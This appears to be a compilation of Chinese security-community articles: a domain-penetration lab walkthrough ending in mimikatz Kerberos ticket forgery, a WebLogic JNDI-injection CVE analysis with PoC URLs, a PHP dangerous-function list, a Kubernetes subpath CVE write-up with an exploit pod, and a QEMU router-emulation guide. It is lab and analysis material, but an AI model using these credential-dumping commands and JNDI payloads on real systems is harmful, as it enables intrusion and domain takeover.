至此，offensiveSQL这台机器已经拿下！
## 直捣域控：
有了offensiveSQL的权限之后，我们开始对域控做一些操作，
因为没有什么好的办法，所以我们能想到的就是使用ntds.dit文件去获取域的hash
然后在SQL这台机器上找到了这个文件，我们使用Invoke-NinjaCopy.ps1将它复制到桌面，并且转存注册表
PS C:Windowssystem32>iwr -Uri http://192.168.159.10/Invoke-NinjaCopy.ps1 -OutFile Invoke-NinjaCopy.ps1 -UseBasicParsing
PS C:Windowssystem32>. .Invoke-NinjaCopy.ps1
PS C:Windowssystem32>Invoke-NinjaCopy -Path C:WindowsNTDSntds.dit -Verbose -LocalDestination 'C:UsersdbadminDesktopntds.dit'
PS C:Windowssystem32>reg save HKLMSYSTEM C:UsersdbadminDesktopSYS
然后将这两个文件转存到我们的客户端：
PS C:>Copy-Item '\dc.offensive.localC$UsersdbadminDesktopntds.dit'-Destination '\Client1.offensive.localC$UsersaliceDesktoptoolsntds.dit'
PS C:>Copy-Item '\dc.offensive.localC$UsersdbadminDesktopSYS' -Destination '\Client1.offensive.localC$UsersaliceDesktoptoolsSYS'
然后使用下面的方法我们便可以得到所有用户的HASH方便我们后面的票据攻击原理请转（[https://www.freebuf.com/articles/system/197160.html）](https://www.freebuf.com/articles/system/197160.html%EF%BC%89)
PS C:UsersaliceDesktoptools>Get-BootKey -SystemHivePath 'SYS'
PS C:UsersaliceDesktoptools>$key = Get-BootKey -SystemHivePath 'SYS'
PS C:UsersaliceDesktoptools>Get-ADDBAccount -All -DBPath 'C:UsersaliceDesktoptoolsntds.dit' -BootKey $key
在进行票据之前我们发现有一个kerberoast，我们再来利用一下这个工具
Step 1:使用GetUserSPNs.ps1扫描域中设置了 SPN的用户
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>. .GetUserSPNs.ps1
Step 2:使用SPN从域中请求服务票证
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>Add-Type –AssemblyName System.IdentityModel
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken –ArgumentList 'MSSQLSvc/Offensive-SQL1:1433'
PS C:UsersaliceDesktoptoolskerberoastkerberoast-master>Add-Type –Assembl
Step 3:提取服务票证
PS C:>cd C:UsersaliceDesktoptoolsmimikatz_trunkx64
PS C:UsersaliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exe
mimikatz # kerberos::list /export
Setp4：进行暴力破解
它这里的pass.txt是事先给好的，所以肯定可以跑出来….
破解完之后，我们使用mimikatz传递之前获得的SID、Target host name, Service name,NTLM hash等去创建一个银票
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116-1103 /domain:offensive.local /target:Offensive-SQL1:1433 /service:MSSQLSvc /rc4:fc525c9683e8fe067095ba2ddc971889 /user:idontexist /id:1103 /pttmimikatz
# misc::cmd
然后
C:UsersAliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exemimikatz
# kerberos::list
我们现在已经获取到了银票..
## 持久控制：
c:>dir \dc.offensive.localc$
我们现在去访问域控是会被拒绝的：
我们来获取一个金票：
PS C:>cd C:UsersaliceDesktoptoolsmimikatz_trunkx64
PS C:UsersaliceDesktoptoolsmimikatz_trunkx64>.mimikatz.exe
mimikatz # kerberos::golden /sid:S-1-5-21-1187620287-4058297830-2395299116 /domain:offensive.local /rc4:61d83c569b93bfcd4ca2087011361caa /user:idontexist /id:500
mimikatz # kerberos::ptt ticket.kirbi
mimikatz # misc::cmd
mimikatz # kerberos::list
最终获取了域控的权限：
## 写在后面：
这应该是最后一篇内网方面的文章了，如果红日的第三个上新的话，我还是会继续更新的，域渗透实在是太有魔力了，让我沉迷其中，本文讲解较少，多为操作，因为再加上原理，篇幅实在太长..还望各位师傅见谅，如有错误，还望指出，以免误人子弟。过几天让我们实验室的pwn师傅来安全客更文章啊，啊哈哈哈，期待脸（逃）。 | 社区文章 |
## CVE-2021-2109 JNDI注入漏洞
管理员权限的通过JNDI注入导致的RCE。可结合`CVE-2020-14882`这个认证绕过漏洞实现未授权RCE。
绕过了Oracle对`CVE-2020-14883`这个漏洞的补丁中对handle参数的校验，因为handle的子类依然可以传入JNDI的payload。只是需要其他方式触发这个JNDI注入。
这个CVE应该是多个漏洞的组合，至少有以下两点：
1、官方对CVE-2020-14883的补丁是在com\bea\console\handles\HandleFactory#getHandle的方法中对传入的类的类型进行检查，是否为handle的子类。这里通过handle实现类`com.bea.console.handles.HandleImpl`的子类`com.bea.console.handles.JndiBindingHandle`的接收String的构造方法将jndi的url作为payload传入；单独这一点并不能实现RCE（之前虽然知道补丁的修复方式但是觉得单独这个无法RCE就没细看，谁知道可以结合其他点来实现RCE）。
2、在com.bea.console.actions.jndi.JNDIBindingAction#execute方法中，构造了JndiBindingHandle对象，并通过获取jndi的payload，并进行了特定的拼接（这里根据其拼接方式进行特殊构造），调用javax.naming.Context#lookup实现了jndi注入导致的RCE。
## CVE-2020-14882的绕过鉴权访问受限资源
### 路径穿越构造一个满足unrestricted资源的url
在266行将url进行了一次解码，随后269行中又被赋值到`this.normalizedURI`中。
E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\internal\AbstractHttpConnectionHandler#dispatch中
在E:\Oracle\Middleware14.1.1.0\oracle_common\modules\com.bea.core.utils.jar!\weblogic\utils\http\AbstractHttpRequestParser#decodeURI中进行了一次解码。
拿着解码了一次的url，根据这个map判断需要如何路由：
具体看看为何这个路径穿越的payload符合/css/*的路由规则。
E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\utils\StandardURLMapping#get
resolveVersionManagerForURI中，判断这个url是符合`/console/`规则的，是属于consoleapp的。
### 如何判断这个路径穿越的url属于/css/*，以规避需要认证的问题
看这里：
E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\WebAppSecurity#checkAccess
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);
具体的是：
this.getConstraint(request)
关键是要：
ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);
这里拿到的resourceConstraint的id是无需认证即可访问的资源。
跟进E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\security\internal\WebAppSecurityWLS#getConstraint(String
relURI, String method)
(ResourceConstraint)consForAllMethods.get(relURI)
发现又是通过E:\Oracle\Middleware14.1.1.0\wlserver\modules\com.oracle.weblogic.servlet.jar!\weblogic\servlet\utils\StandardURLMapping这个类来进行判断的。
### 如何路径穿越到/console/console.portal
在getTree方法中，进行了第二次URL解码，还原出了攻击者意图访问的受限资源：
前后对比：
### 如何触发指定Action的execute方法
如果只这样请求：
/console/css/%25%32%65%25%32%65%25%32%66/consolejndi.portal?cqq_handle=com.bea.console.handles.JndiBindingHandle(%22ldap://127;0.0.1:1389/;AdminServer%22)
则只能触发`com.bea.console.handles.JndiBindingHandle`的接收String类型参数的构造器，但是并不能触发RCE，这一点是与CVE-2020-14883不同的地方（14883是直接在构造器中RCE）。
另外这两个参数`_pageLabel=JNDIBindingPageGeneral&_nfpb=true`是必需提供的，这是为了触发com.bea.console.actions.jndi.JNDIBindingAction#execute方法。
不懂netuix的路由逻辑，猜测这里是当`_pageLabel=JNDIBindingPageGeneral`时，执行jndibinding.portlet对应的action：`JNDIBindingAction`
### 总结
不管是登录Cookie访问，还是使用路径穿越的payload，原理都是让
`weblogic.servlet.security.internal.WebAppSecurity#hasPermission` 返回true。
看看如何让`ResourceConstraint`的id指向`/css/*`，让我们的payload隐藏起来，符合`/css/*`的规则。
### 关于JNDI注入payload的构造
看这张图：
想要进入JNDI注入的代码，需要serverMBean不为空，而不为空需要
domainMBean.lookupServer(serverName)
有值，跟进`weblogic.management.configuration.DomainMBeanImpl`#lookupServer
即传入的参数必须为`AdminServer`。
（这个应该是可以配置的，但是默认情况下就是这个值）
看到JNDI注入的触发点，contenxt和bindName分别由getContext()和getBinding()方法得到，而跟进发现都调用了getComponent()方法。
跟进getComponent()方法，发现遍历serialized（也就是ObjectIdentifier）中的字符，然后累加到currentComponent中，每次碰到`;`这个字符，
就将currentComponent添加到list中，然后重置重新计算currentComponent。
最后将list转换成String数组，返回this.components
(%22ldap://127;0.0.1:1389/lnuvcv;AdminServer%22)
所以要保证JNDI的url是由两个`;`分割的，第0个和第1个之间通过一个`.`进行拼接之后是一个完整的正常的LDAP的url即可，比如这里的：
"ldap://127" + "." + "0.0.1:1389/lnuvcv" = "ldap://127.0.0.1:1389/lnuvcv""
最后第2个是固定的`AdminServer`即可。
### 小插曲（关于poc的构造）
说明在这张图里。
1. 这里的handle参数的地方，可以是任意以`handle`字符串结尾的比如`111handle`都可以触发；
2. 括号里可以是任意的一个字符，不必是引号：`com.bea.console.handles.JndiBindingHandle(-ldap://weblogic3;hk58t1.dnslog.cn:1389/lnuvcv;AdminServer-)`
## CVE-2020-14883 管理员权限下的任意代码执行
后来通过调试发现`/console/__Streaming.portal`这个path也可以触发，但是weblogic并没有写在配置文件里，而是：
提给Oracle说已经修复了。确实，到后面流程都是一样的。主要这个特殊的path并不能进行路径穿越，即不能结合CVE-2020-14882，而是需要带上登录的Cookie，可能只是会在绕过流量检测层面有点用吧？
### PoC
/console/__Streaming.portal?file=/console.portal
/console/__Streaming.portal?file=/consolejndi.portal
后来发现原来@l1nk3r师傅也提到了：
[CVE-2020-14882&CVE-2020-14883分析](https://mp.weixin.qq.com/s/JUQK3ZTS_i8_r969eTrK2w)
另外一个gadget的poc(只能console.portal触发)：（当时我是找到这个特殊的类了，但是还愁怎么触发呢，当时netuix的路由机制没弄清楚。后来看到@threedr3am师傅发了）
/console/css/%25%32%65%25%32%65%25%32%66/console.portal?_pageLabel=EJBTestHomePage&_nfpb=true&handle=com.bea.console.handles.JndiContextHandle(-ldap://192.168.85.1:1389/1;AdminServer--&returnTo=EJBTestHomePage
### 推测Action两种被执行的方式:
通过上面的触发点的实现，推测有两种方式：
1、
继承`org.apache.struts.action.Action`然后实现其execute方法；然后在`<netuix:strutsContent`
中指定action为该类名。
2、
对某方法进行注解org.apache.beehive.netui.pageflow.annotations.Jpf.Action，
然后在`<netuix:pageflowContent`中指定这个action为方法名。
## 参考
* [WebLogic one GET request RCE 分析（CVE-2020-14882+CVE-2020-14883）](https://paper.seebug.org/1411/)
* [[CVE-2020-14882/14883]WebLogic console认证绕过+任意代码执行](https://mp.weixin.qq.com/s/u8cZEcku-uIbGAVAcos5Tw)
* [Weblogic Server远程代码执行漏洞预警(CVE-2021-2109)](https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw) | 社区文章 |
# PHP常见危险函数
### `passthru()`
**功能描述：** 允许执行一个外部程序并回显输出，类似于 exec()。
**危险等级：** 高
### `exec()`
**功能描述：** 允许执行一个外部程序（如 UNIX Shell 或 CMD 命令等）。
**危险等级：** 高
### `assert()`
**功能描述：**
如果按照默认值来，在程序的运行过程中调用assert()来进行判断表达式，遇到false时程序也是会继续执行的，跟eval()类似，不过eval($code_str)只是执行符合php编码规范的$code_str。assert的用法却更详细一点。
**危险等级：** 高
### `system()`
**功能描述：** 允许执行一个外部程序并回显输出，类似于 passthru()。
**危险等级：** 高
### `chroot()`
**功能描述：** 可改变当前 PHP 进程的工作根目录，仅当系统支持 CLI 模式PHP 时才能工作，且该函数不适用于 Windows 系统。
**危险等级：** 高
### `chgrp()`
**功能描述：** 改变文件或目录所属的用户组。
**危险等级：** 高
### `chown()`
**功能描述：** 改变文件或目录的所有者。
**危险等级：** 高
### `shell_exec()`
**功能描述：** 通过 Shell 执行命令，并将执行结果作为字符串返回。
**危险等级：** 高
### `proc_open()`
**功能描述：** 执行一个命令并打开文件指针用于读取以及写入。
**危险等级：** 高
### `ini_restore()`
**功能描述：** 可用于恢复 PHP 环境配置参数到其初始值。
**危险等级：** 高
### `dl()`
**功能描述：** 在 PHP 进行运行过程当中（而非启动时）加载一个 PHP 外部模块。
**危险等级：** 高
### `readlink()`
**功能描述：** 返回符号连接指向的目标文件内容。
**危险等级：** 中
### `symlink()`
**功能描述：** 在 UNIX 系统中建立一个符号链接。
**危险等级：** 高
### `popen()`
**功能描述：** 可通过 popen() 的参数传递一条命令，并对 popen() 所打开的文件进行执行。
**危险等级：** 高
### `stream_socket_server()`
**功能描述：** 建立一个 Internet 或 UNIX 服务器连接。
**危险等级：** 中
### `pfsockopen()`
**功能描述：** 建立一个 Internet 或 UNIX 域的 socket 持久连接。
**危险等级：** 高
### `putenv()`
**功能描述：** 用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中，可利用该函数修改系统字符集环境后，利用
sendmail 指令发送特殊参数执行系统 SHELL 命令。
**危险等级：** 高 | 社区文章 |
# 修复Kubernetes中的子路径卷漏洞
|
##### 译文声明
本文是翻译文章，文章原作者 Michelle Au & JanŠafránek，文章来源：https://kubernetes.io/
原文地址：<https://kubernetes.io/blog/2018/04/04/fixing-subpath-volume-vulnerability/>
译文仅供参考，具体内容表达以及含义原文为准。
2018年3月12日，Kubernetes产品安全团队透露[CVE-2017-1002101](https://github.com/kubernetes/kubernetes/issues/60813)，允许使用[子路径](https://kubernetes.io/docs/concepts/storage/volumes/#using-subpath)卷装载的容器访问卷外的文件。这意味着容器可以访问主机上可用的任何文件，包括它不应该访问的其他容器的卷。
该漏洞已在最新的Kubernetes补丁版本中得到修复和发布。我们建议所有用户升级以获得修复。有关影响以及如何获得修复的更多详细信息，请参阅[公告](https://groups.google.com/forum/#!topic/kubernetes-announce/6sNHO_jyBzE)。（请注意，一些功能回归是在初始修复后发现的，并且正在[＃61563](https://github.com/kubernetes/kubernetes/issues/61563)的问题中进行跟踪）。
这篇文章对这个漏洞和解决方案进行了深入的技术介绍。
## Kubernetes背景
要理解这个漏洞，首先必须了解Kubernetes中的卷和子路径安装是如何工作的。
在节点上启动容器之前，kubelet卷管理器将在主机系统上的该Pod中的一个目录下本地装入PodSpec中指定的所有卷。一旦所有卷成功安装，它就构建了要传递给容器运行时的卷装入列表。每个卷装载包含容器运行时需要的信息，最相关的是：
1.容器中容积的路径
2.主机上卷的路径（/var/lib/kubelet/pods/<pod uid>/volumes/<volume type>/<volume name>）
启动容器时，容器运行时会根据需要在容器根文件系统中创建路径，然后将其装载到提供的主机路径。
与其他卷相同，子路径挂载将传递到容器运行时。容器运行时不区分基本卷和子路径卷，并以相同方式处理它们。Kubernetes通过将Pod指定的子路径（相对路径）附加到基本卷的主机路径来构建主机路径，而不是将主机路径传递到卷的根目录。
例如，以下是子路径卷装入的规格：
apiVersion: v1
kind: Pod
metadata:
name: my-pod
spec:
containers:
- name: my-container
<snip>
volumeMounts:
- mountPath: /mnt/data
name: my-volume
subPath: dataset1
volumes:
- name: my-volume
emptyDir: {}
在此示例中，当Pod被调度到节点时，系统将：
1.设置一个EmptyDir卷 /var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume
2.构建子路径安装的主机路径： /var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume/ + dataset1
3.将下列装载信息传递给容器运行时：
集装箱路径： /mnt/data
主机路径： /var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume/dataset1
4.容器运行时绑定/mnt/data在容器根文件系统中/var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume/dataset1安装到主机上。
5.容器运行时启动容器。
## 漏洞
Maxim Ivanov发现了子路径卷的漏洞，并发表了一些观察结论：
1.子路径引用由用户控制的文件或目录，而不是系统。
2.卷可以由Pod生命周期中不同时间的容器共享，包括不同的Pod。
3.Kubernetes将主机路径传递给容器运行时以将装载绑定到容器中。
下面的基本示例演示了此漏洞。它利用上面概述的观察结果：
1.使用init容器通过符号链接设置卷。
2.使用常规容器稍后将该符号链接安装为子路径。
3.导致kubelet在将主机传递到容器运行时之前评估主机上的符号链接。
apiVersion: v1
kind: Pod
metadata:
name: my-pod
spec:
initContainers:
- name: prep-symlink
image: "busybox"
command: ["bin/sh", "-ec", "ln -s / /mnt/data/symlink-door"]
volumeMounts:
- name: my-volume
mountPath: /mnt/data
containers:
- name: my-container
image: "busybox"
command: ["/bin/sh", "-ec", "ls /mnt/data; sleep 999999"]
volumeMounts:
- mountPath: /mnt/data
name: my-volume
subPath: symlink-door
volumes:
- name: my-volume
emptyDir: {}
在这个例子中，系统将会：
1.在设置EmptyDir卷 /var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume
2.将init容器的以下安装信息传递给容器运行时：
集装箱路径： /mnt/data
主机路径： /var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume
3.容器运行时绑定/mnt/data在容器根文件系统中/var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume安装到主机上。
4.容器运行时启动init容器。
5.init容器在容器内创建一个符号链接：/mnt/data/symlink-door- > /，然后退出。
6.Kubelet开始为普通容器准备卷装。
7.它构建子路径卷挂载的主机路径：/var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume/ + symlink-door。
8.并将下列装载信息传递给容器运行时：
集装箱路径： /mnt/data
主机路径： /var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty-dir/my-volume/symlink-door
9.容器运行时绑定安装/mnt/data在容器根文件系统中/var/lib/kubelet/pods/1234/volumes/kubernetes.io~empty~dir/my-volume/symlink-door
10.但是，bind mount可以解析符号链接，在这种情况下，它会解析到/主机上！现在容器可以通过它的挂载点看到主机的所有文件系统/mnt/data。
这是[符号链接竞赛](https://en.wikipedia.org/wiki/Symlink_race)的一种表现形式，恶意用户程序可以通过使特权程序（在本例中为kubelet）遵循用户创建的符号链接来访问敏感数据。
应该注意的是，根据卷的类型，此容器并不总是需要init容器。它用于EmptyDir示例中，因为EmptyDir卷不能与其他Pod共享，并且只能在创建Pod时创建，并在Pod被销毁时销毁。对于持续卷类型，此漏洞也可以跨两个共享相同卷的不同Pod进行。
## 修正
根本问题是子路径的主机路径是不可信的，并且可以指向系统中的任何位置。修复程序需要确保此主机路径是：
1.解决并验证指向基本卷内部。
2.用户在验证时与容器运行时绑定装入时不可更改。
Kubernetes产品安全团队在最终达成设计协议之前，经历了许多可能的解决方案迭代。
### 想法1
我们的第一个设计相对简单。对于每个容器中的每个子路径安装：
1.解决子路径的所有符号链接。
2.验证解析的路径是否在卷内。
3.将解析后的路径传递给容器运行时。
但是，这种设计很容易出现经典的检查到使用时间（TOCTTOU）问题。在步骤2）和3）之间，用户可以将路径更改回符号链接。正确的解决方案需要通过某种方式来“锁定”路径，以便在容器运行时在验证和绑定挂载之间不能更改路径。所有后续的想法都通过kubelet使用中间绑定装载来实现此“锁定”步骤，然后将其交给容器运行时。绑定安装完成后，安装源是固定的，不能更改。
### 想法2
我们对这个想法有些狂热：
1.在kubelet的pod目录下创建一个工作目录。我们称之为dir1。
2.将基础卷绑定到工作目录下，dir1/volume。
3.Chroot到工作目录dir1。
4.在chroot里面，绑定volume/subpath到subpath。这确保了任何符号链接都可以解析到chroot环境中。
退出chroot。
5.再次在主机上，传递装载dir1/subpath到容器运行时的绑定。
尽管这种设计确保符号链接不能指向卷之外，但由于在所有各种Kubernetes必须支持的发行版和环境（包括集装箱化kubelets）中实施chroot机制的困难，最终被拒绝。
### 想法3
我们的下一个想法是：
1.将子路径绑定到kubelet的pod目录下的工作目录。
2.获取绑定装入的来源，并验证它位于基本卷内。
3.将绑定挂载传递给容器运行时。
理论上，这听起来很简单，但实际上，2）很难正确实施。卷（如EmptyDir）可能位于共享文件系统上，独立文件系统上，根文件系统上或不在根文件系统上时，必须处理许多场景。NFS卷最终将所有绑定挂载作为独立挂载处理，而不是作为基本卷的子处理。对于树外卷类型（我们无法测试）将如何表现还存在额外的不确定性。
## 解决方案
鉴于必须使用先前设计处理的场景和角落情况的数量，我们确实希望找到一种在所有卷类型中更通用的解决方案。我们最终的最终设计是：
1.解决子路径中的所有符号链接。
2.从基本卷开始，使用openat()系统调用逐个打开每个路径段，并禁用符号链接。使用每个路径段，验证当前路径是否位于基本卷内。
3.将挂载绑定/proc/<kubelet pid>/fd/<final fd>到kubelet的pod目录下的工作目录。proc文件是到打开文件的链接。如果该文件在kubelet仍然打开的情况下被替换，那么链接仍然会指向原始文件。
4.关闭fd并将绑定挂载传递给容器运行时。
请注意，对于Windows主机，这种解决方案是不同的，其中安装语义与Linux不同。在Windows中，设计是：
1.解决子路径中的所有符号链接。
2.从基本卷开始，使用文件锁逐个打开每个路径段，并禁止符号链接。使用每个路径段，验证当前路径在基本卷内。
3.将已解析的子路径传递给容器运行时，然后启动容器。
4.容器启动后，解锁并关闭所有文件。
这两种解决方案都能够满足以下所有要求：
1.解析子路径并验证它是否指向基本卷内的路径。
2.确保子路径主机路径无法在验证时间与容器运行时绑定装入时间之间进行更改。
3.足够通用以支持所有卷类型。
## 致谢
特别感谢许多参与处理此漏洞的人士：
1.Maxim Ivanov，负责任地向Kubernetes产品安全团队披露了漏洞。
2.来自Google，Microsoft和RedHat的Kubernetes存储和安全工程师开发，测试并审查了这些修补程序。
3.Kubernetes测试团队，用于建立私人构建基础架构
4.Kubernetes补丁发布经理，协调和处理所有版本。
5.所有生产发布团队在发布后迅速部署修补程序
如果您在Kubernetes中发现漏洞，请遵循我们负责任的披露流程并[告诉我们](https://kubernetes.io/security/#report-a-vulnerability) ; 我们希望尽最大努力让Kubernetes为所有用户提供安全保障。
* 谷歌软件工程师Michelle Au; 和红帽软件工程师JanŠafránek | 社区文章 |
## 前言
最近在学习 IOT
安全这方面的知识，相信入门学这块都是从路由器的漏洞挖掘开始起步的。为了测试路由器漏洞必定要搭建环境，一般都是使用模拟的仿真环境而不是使用真机。固件仿真可以用于许多不通的目的，比如提供一个更好的方法来分析固件，测试利用，完成远程调试等。
一般模拟环境会使用 qemu 或者 AttifyOS VM搭建，两者算是各有优势吧。这里我选择了
qemu。笔者在搭建环境的时候遇到了很多问题，踩了不少坑，对照这《揭秘家用路由器 0day
漏洞挖掘技术》和网上的资料。但是网上的解决方案大多都是不太全或者讲的含糊不清。这里较详细地总结记录一下自己在搭建整个环境中遇到的一些问题，希望能给有需要的读者一些帮助和启发。
## qemu 的介绍
QEMU 是一个面向完整 PC 系统的开源仿真器。除了仿真处理器外，QEMU
还允许仿真所有必要的子系统，如连网硬件和视频硬件。它还允许实现高级概念上的仿真（如对称多处理系统（多达 255 个 CPU）和其他处理器架构（如 ARM 和
PowerPC）。
这里的 qemu 虚拟机的搭建就是在 Vm Ubuntu 虚拟机下 **再使用 qemu 来搭建一个 mips
系统的虚拟机，将路由器系统固件放在里面运行。**
## binwalk、sasquatch 的安装
这两个工具的安装比较简单，也没啥问题，就安装书上的步骤来了。
### binwalk 安装
sudo apt-get install binwalk
或者
sudo git clone https://github.com/devttys0/binwalk.git
### sasquatch SquashFS 安装
sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
sudo git clone https://github.com/devttys0/sasquatch
cd sasquatch && sudo make && sudo make install
## qemu 的安装
这个网上的安装教程很多，安装过程中也不会出现什么太多的问题
sudo apt-get install qemu
## 交叉编译环境 buildroot 的安装
**正常的安装步骤是按照《揭秘家用路由器 0day 漏洞挖掘技术》的书上的操作来的** ，但是在安装的过程中会出现很多问题：
sudo apt-get install libncurses5-dev patch
wget http://buildroot.uclibc.org/downloads/snapshots/buildroot-snapshots.tar.bz2
tar -jxvf buildroot-snapshots.tar.bz2
cd buildroot/
make clean
make menuconfig
sudo make
## ncurses 库缺失错误
在 make menuconfig 时，可能会出现以下的错误， **因为缺少了 Configuration 界面的图形字符支持** ：
*** Unable to find the ncurses libraries or the
*** required header files.
*** 'make menuconfig' requires the ncurses libraries.
***
*** Install ncurses (ncurses-devel) and try again.
在接着安装这两个库
sudo apt-get install libncurses-dev curses-devel
然而又报了莫名其妙的错
正在读取软件包列表... 完成
正在分析软件包的依赖关系树
正在读取状态信息... 完成
注意，选中 'libncurses5-dev' 而非 'libncurses-dev'
libncurses5-dev 已经是最新版 (6.0+20160213-1ubuntu1)。
升级了 0 个软件包，新安装了 0 个软件包，要卸载 0 个软件包，有 478 个软件包未被升级。
这里最直接的方法就是 **安装所有的 libncurses 支持库** ，即
sudo apt-get install libncurs*
安装完成后重新输入 make menuconfig，就正常了。
接着按照教程的步骤配置好编译选项就行了，这里的 **Target Architecture Varient 选为 Mips 32**
，至于编译大端或者小端程序的问题，后面会出现。
编译好后输入 mipsel ，tab 键补全，可以看到都是 mipsel 开头的程序（路径在
buildroot/output/host/bin，建议直接配置好环境变量）， **也就是说用 mipsel-linux-gcc
编译出来的程序默认是小端程序** 。有些人编译出的是 **mips-linux-gcc**
也就是说编译出来的默认是大端的程序。（为什么会有这种差异还是不太清楚...可能是在上面的配置选项的不同）
**但是这并不影响大小端的互相编译** ，接着看后面的问题。
参考：
<https://blog.csdn.net/ldl22847/article/details/8612993>
<https://www.cnblogs.com/evisie/archive/2012/12/05/2802363.html>
## mipsel-linux-gcc 编译大端程序
在编写共享库的时候，经常需要根据路由器是大端程序或者是小端程序来选择编译，否则会报下面的错，不是一个 ELF 文件。
**原因就是目标系统支持的是大端的程序，而编译出来的是小端的程序，作为共享库加载时就会产生这种不匹配的问题** 。
nick@nick-machine:~/iot/firmware/dir-605l/_dir605L_FW_113.bin.extracted/squashfs-root-0$ ./qemu-mips -L ./ -E LD_PRELOAD="./lib.so" ./bin/boa
./bin/boa: './lib.so' is not an ELF executable for MIPS
./bin/boa: can't load library './lib.so'
例如我这边默认编译出来的是小端程序：
demo.c
#include <stdlib.h>
#include <malloc.h>
int main(){
int *a;
a = malloc(0x10);
puts("demo");
return 0;
}
~
gcc 编译，看到是个 LSB（小端程序）
nick@nick-machine:~/iot/program$ mipsel-linux-gcc demo1.c -static -o demo
nick@nick-machine:~/iot/program$ file demo
demo1: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped
使用 **man gcc** 可知如果要编译成大端程序的话， **需要加上 -EB 参数**
但是加上 -EB 之后，还是报错了，原因是在 ld 链接时默认是没有加上这个参数的， **所以这里需要手动加上，也就是将编译和链接分两步**
正确的用法：
**即编译和链接分开**
mipsel-linux-gcc demo.c -EB -c -static -o demo1 编译
mipsel-linux-ld demo1 -EB -o demo 链接
* **若是编译成共享库的话，两步都要加上 -shared 参数**
最后成功编译成大端的程序：
nick@nick-machine:~/iot/program$ file demo
demo: ELF 32-bit MSB executable, MIPS, MIPS32 version 1 (SYSV), statically linked, not stripped
## chroot 命令问题
在模拟路由器 web 界面时，需要使用 chroot 来 **定义路由器固件的根目录，以便程序运行能加载到相应的 lib 库** ，但是在使用 qemu-mips 的时候会报错：
nick@nick-machine:~/iot/firmware/dir-605l/_dir605L_FW_113.bin.extracted/squashfs-root-0$ sudo chroot . ./qemu-mips -E LD_PRELOAD="./test" ./bin/boa
chroot: failed to run command './qemu-mips': No such file or directory
### 解决方法
**需要安装使用 qemu-mips-static 才可以**
apt-get install qemu binfmt-support qemu-user-static
sudo chroot . ./qemu-mips-static -E LD_PRELOAD="./test" ./bin/boa
* 这里 **若使用 qemu-mips 的 -L 参数指定路由器的根目录可以在 user-mode 下使用** ，但是在 system-mode 下就无法使用。（加载不到路由器的 lib 目录）
## qemu-system-mode 黑屏问题
按照[安装教程](https://xz.aliyun.com/t/462)下载好内核驱动之后，使用下面的命令打开，发现整个就黑屏了
sudo qemu-system-mips64 -M malta -kernel vmlinux-2.6.32-5-5kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic,macaddr=00:0c:29:ee:39:39 -net tap -nographic
### 解决方法
安装 qemu-kvm
sudo apt-get install qemu-kvm libvirt virt-install virt-manager
并且最好在官网上下载 **使用 32 位的 mips 系统的内核镜像** ，即使用 qemu-system-mips 代替 qemu-system-mips64
## 反编译插件的安装
### jeb-mips
jeb 版本的 mips 反汇编工具，支持伪代码的反编译
直接在下面的网站下载，直接打开就可以使用，缺点是试用版的不能将里面的代码复制出来。
<https://www.pnfsoftware.com/jeb2/mips>
**在反编译窗口右键 - > 解析，就能看到相应的伪代码**
### Retdec
这个是 IDA 中的插件，用着很方便。 **但是这个安装比较麻烦，需要编译一大堆东西** ，笔者太菜了搞了好次没出来
这里还是贴出 sw 师傅的安装教程，大佬们可以研究一下：
<https://bbs.pediy.com/thread-230290.htm>
关于两个工具的使用可以看看 ctf 的题目：
<https://blog.csdn.net/qq_33438733/article/details/80233448>
## qemu-system-mode 的网络配置
编译本地网卡配置
sudo vi /etc/network/interfaces
写入下面的内容
auto lo
iface lo inet loopback
auto eth0
iface eth0 inet manual
up ifconfig eth0 0.0.0.0 up
auto br0
iface br0 inet dhcp
bridge_ports eth0
bridge_stp off
bridge_maxwait 1
配置 qemu 虚拟机的网卡信息：
sudo vi /etc/qemu-ifup
将原来的内容注释，换成下面的内容：
echo "Executing /etc/qemu-ifup"
echo "bridge networking"
echo "Bringing up $1 for bridge mode"
sudo /sbin/ifconfig $1 0.0.0.0 promisc up
echo "Adding $1 to br0"
sudo /sbin/brctl addif br0 $1
sleep 3
**之后开启 br0 网卡，并重启网卡生效**
sudo ifup br0
sudo /etc/init.d/networking restart
输入下面的的命令，进入之后系统是这样的
sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic
进去虚拟机之后，如果发现只有网卡的其他信息、没有 IP 地址， **可以手动配置一下 eth0 网卡的 IP** ：
ifconfig eth0 192.168.123.150/24
